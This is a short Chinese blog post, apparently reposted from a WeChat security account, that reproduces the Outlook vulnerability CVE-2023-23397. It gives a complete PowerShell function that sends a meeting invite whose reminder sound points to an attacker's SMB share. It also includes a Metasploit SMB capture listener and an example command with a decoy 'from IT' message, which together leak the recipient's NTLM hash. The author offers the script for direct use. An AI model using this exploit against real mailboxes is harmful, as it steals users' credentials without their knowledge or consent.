前言:CVE-2023-23397这个漏洞挺简单的,简单复现一下及说一下原理。
1.ReminderSoundFile属性
ReminderSoundFile是outlook的一个属性,返回或设置一个指示当 Outlook 项目的提醒发生时将播放该声音文件的路径和文件名称的 字符串 。
功能点所在的地方:
会议→提醒→需要先选时间→声音
其中声音的路径支持UNC_PATH,既然支持UNC_PATH就直接SMB_RELAY。
如下图所示:
2.复现
两种方式复现:
1.通过图形化界面操作
1.新建会议
2.设置提醒时间
3.设置提醒声音指向匿名共享的文件夹的声音文件
4.关闭匿名共享,然后开启relay
2.github脚本
https://github.com/api0cradle/CVE-2023-23397-POC-Powershell
gayhub已经有现成的脚本了,直接利用即可(必须运行OUTLOOK,并登陆)
1.开启SMB监听
use auxiliary/server/capture/smb
run
2.powershell键入函数
function Send-CalendarNTLMLeak ($recipient, $remotefilepath, $meetingsubject, $meetingbody)
{
$Outlook = New-Object -comObject Outlook.Application
$newcal = $outlook.CreateItem('olAppointmentItem')
$newcal.ReminderSoundFile = $remotefilepath
$newcal.Recipients.add($recipient)
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$newcal.Subject = $meetingsubject
$newcal.Location = "Virtual"
$newcal.Body = $meetingbody
$newcal.Start = get-date
$newcal.End = (get-date).AddHours(2)
$newcal.ReminderOverrideDefault = 1
$newcal.ReminderSet = 1
$newcal.ReminderPlaysound = 1
$newcal.send()
}
3.执行函数
Send-CalendarNTLMLeak -recipient "查鲁特真帅@qq.com" -remotefilepath "\\192.168.109.129\d.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
4.发现的时候会有一个弹窗告警需要同意(这是发件人弹窗,并非受害人弹窗)
5.然后就自动弹窗触发
6.触发UNC_PATH成功抓到HASH
写在最后:微软的SMB毒瘤已经很久了,你们猜这次触发是通过什么东西触发UNC_path的
:.゚ヽ(。◕‿◕。)ノ゚.:。+゚防盗专用。:.゚ヽ(。◕‿◕。)ノ゚.:。+゚
^_^文章来源:微信公众号(边界骇客) ^_^ ^_^